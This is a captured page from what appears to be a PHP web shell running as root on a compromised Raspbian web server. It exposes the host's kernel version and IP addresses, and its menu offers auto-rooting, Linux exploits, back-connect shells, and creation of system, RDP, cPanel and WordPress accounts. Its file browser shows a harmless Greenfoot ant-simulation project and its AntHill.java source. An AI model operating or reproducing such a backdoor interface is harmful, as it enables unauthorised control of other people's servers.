Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
Greenfoot /
scenarios /
java /
ants /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
Ant.class
2.62
KB
-rw-r--r--
Ant.java
3.65
KB
-rw-r--r--
AntHill.class
1.24
KB
-rw-r--r--
AntHill.java
1.45
KB
-rw-r--r--
AntWorld.class
1.46
KB
-rw-r--r--
AntWorld.java
2.29
KB
-rw-r--r--
Counter.class
1.48
KB
-rw-r--r--
Counter.java
1.04
KB
-rw-r--r--
Creature.class
2.49
KB
-rw-r--r--
Creature.java
5.2
KB
-rw-r--r--
Food.class
1.6
KB
-rw-r--r--
Food.java
1.88
KB
-rw-r--r--
Pheromone.class
1.14
KB
-rw-r--r--
Pheromone.java
1.39
KB
-rw-r--r--
README.TXT
368
B
-rw-r--r--
project.greenfoot
3.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AntHill.java
import greenfoot.*; // (World, Actor, GreenfootImage, and Greenfoot) /** * A hill full of ants. * * @author Michael Kölling * @version 1.1 */ public class AntHill extends Actor { /** Number of ants that have come out so far. */ private int ants = 0; /** Total number of ants in this hill. */ private int maxAnts = 40; /** Counter to show how much food have been collected so far. */ private Counter foodCounter; /** * Constructor for ant hill with default number of ants (40). */ public AntHill() { } /** * Construct an ant hill with a given number of ants. */ public AntHill(int numberOfAnts) { maxAnts = numberOfAnts; } /** * Act: If there are still ants left inside, see whether one should come out. */ public void act() { if(ants < maxAnts) { if(Greenfoot.getRandomNumber(100) < 10) { getWorld().addObject(new Ant(this), getX(), getY()); ants++; } } } /** * Record that we have collected another bit of food. */ public void countFood() { if(foodCounter == null) { foodCounter = new Counter("Food: "); int x = getX(); int y = getY() + getImage().getWidth()/2 + 8; getWorld().addObject(foodCounter, x, y); } foodCounter.increment(); } }
Close